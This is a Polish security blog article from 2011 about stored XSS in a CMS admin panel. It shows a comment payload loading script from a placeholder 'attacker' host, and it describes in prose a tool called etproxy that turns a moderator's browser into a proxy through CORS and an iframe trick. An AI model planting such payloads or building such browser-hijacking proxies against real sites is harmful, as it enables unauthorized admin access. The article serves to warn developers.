08 stycznia 2011

E.T. dzwoni do domu, czyli XSS w adminie

Autorem poniższego opracowania jest Dariusz Tytko (użytkownik Gmaila: tyter9). Przy okazji przypomnę tylko, że praktycznie każdy może zostać autorem, a nawet redaktorem HARD CORE SECURITY LAB! Zachęcam również do zapoznania się z poprzednim artykułem Darka.

Typowa aplikacja webowa składa się z dwóch komponentów, portalu udostępniającego pewną funkcjonalność klientom oraz części umożliwiającej zarządzenie, czyli tytułowego "admina" (CMS). Kod portalu coraz częściej powstaje z uwzględnieniem zasad bezpiecznego programowania, niestety nie zawsze to samo można powiedzieć o drugim z wymienionych komponentów...

Taki stan rzeczy często tłumaczony jest na jeden z następujących sposobów: "tylko garstka zaufanych użytkowników korzysta z aplikacji", "to nasze autorskie rozwiązanie, nikt nie wie jak działa, tym bardziej nie będzie w stanie znaleźć błędu", "aplikacja dostępna jest tylko w sieci wewnętrznej" itp. W artykule postaram się wykazać, że taka polityka prowadzenia projektu, w niesprzyjających warunkach może doprowadzić do poważnych w skutkach konsekwencji.

Na potrzeby artykułu zaatakujemy prostą aplikację testową, która umożliwia użytkownikom wyrażanie swoich opinie w postaci komentarzy. Załóżmy, że w części portalowej nie udało nam się znaleźć żadnej z typowych podatności. Sytuacja wydaje się beznadziejna. Jedyna szansa dla potencjalnego intruza jest więc taka, że CMS zawiera jakieś błędy.

Pytanie jednak, jak zaatakować aplikację, której istnienia jedynie się domyślamy? Z dużym prawdopodobieństwem CMS tego typu aplikacji umożliwia moderację umieszczonych treści, co wiąże się z koniecznością ich wyświetlenia. Jeżeli nie zastosowano odpowiedniej walidacji, będziemy w stanie przeprowadzić atak typu XSS np. poprzez umieszczenie komentarza o następującej treści <script src="http://attacker/payload.js"></script>. Teraz pozostaje już tylko czekać, aż moderator wyświetli komentarz, a tym samym uruchomi nasz kod.

Kolejne pytanie brzmi, jak skonstruować użyteczny payload, bez jakiejkolwiek wiedzy na temat szczegółów działania aplikacji? Rozwiązaniem może być kod, który realizuje poniższy scenariusz:
  1. Przeglądarka moderatora uruchamia nasz kod (agent).
  2. Agent nawiązuje połączenie z aplikacją uruchomioną na naszym serwerze (kontroler).
  3. Kontroler uruchamia serwer proxy.
  4. Kontroler powiadamia nas o utworzeniu nowego tunelu (serwer proxy skojarzony z agentem uruchomionym w przeglądarce moderatora).
  5. Wysyłamy zapytanie do serwera proxy.
  6. Proxy wysyła zapytanie do kontrolera.
  7. Agent pobiera treść zapytania od kontrolera.
  8. Agent wykonuje zapytanie w przeglądarce moderatora (ajax).
  9. Agent wysyła odpowiedź do kontrolera.
  10. Kontroler przekazuje odpowiedź do serwera proxy.
  11. Serwer proxy przekazuje odpowiedź do naszej przeglądarki.
  12. (Idź do kroku 5).
Na potrzeby artykułu powstała aplikacja implementująca powyższy algorytm (etproxy). Dwa główne problemy, z którymi należało się zmierzyć to:
  1. Implementacja kanału komunikacyjnego pomiędzy agentem a kontrolerem. 
  2. Czas życia agenta ograniczony do czasu wizyty moderatora na stronie uruchamiającej payload. 
Do rozwiązania pierwszego problemu, użyty został mechanizm Cross-Origin Resource Sharing. W dużym skrócie: możliwe jest wykonywanie zapytań ajax'owych (i odczytywanie odpowiedzi) do dowolnej domeny, o ile strona wywoływana na to pozwoli (poprzez ustawienie odpowiednich nagłówków w odpowiedzi). Niestety rozwiązanie nie jest obsługiwane przez wszystkie przeglądarki, zwłaszcza te starsze.

Rozwiązanie drugiego problemu sprowadza się do pewnej sztuczki. W chwili uruchomienia agenta, do wszystkich linków na stronie podpięte zostaje zdarzenie (onclick), które blokuje możliwość opuszczenia strony. Zamiast tego, w chwili kliknięcia w link do struktury DOM dokumentu dodawany jest znacznik iframe, ze źródłem (src), na które wskazywał dany link (href). Dodatkowo iframe jest rozszerzany do 100% szerokości i wysokości okna, zakrywając w ten sposób bieżącą zawartość. W ten sposób użytkownikowi serwowana jest spodziewana zawartość, bez potrzeby przechodzenia na inną stronę. Rozwiązanie nie jest jednak pozbawione wad:
  • Użytkownik nawiguje w obrębie iframe'a, co wiąże się z konsekwencjami w postaci niezmieniającego się adresu strony (w pasku adresu).
  • Docelowa strona może zwierać mechanizmy, uniemożliwiające wyświetlenie jej zawartości w iframe'ie (patrz nagłówek X-Frame-Options itp.).
  • W dobie aplikacji ajax'owych, rolą niektórych linków może nie być przełączenie strony, a wykonanie bardziej złożonego zadania jak np. przeładowanie tylko jej części. Kliknięcie w zmodyfikowaną wersję takiego linku z dużym prawdopodobieństwem zakończy się załadowaniem pustego iframe'a.
Oto wspomniana aplikacja w akcji:


Przyznaję, że przeprowadzenie przedstawionego ataku, w warunkach rzeczywistych nie należy do rzeczy łatwych. Kluczowe znaczenie ma czas pracy użytkownika CMS'a. Nie mniej nie da się zaprzeczyć, że realne ryzyko istnieje. Decyzję, czy należy je uwzględnić w praktyce, pozostawiam czytelnikom.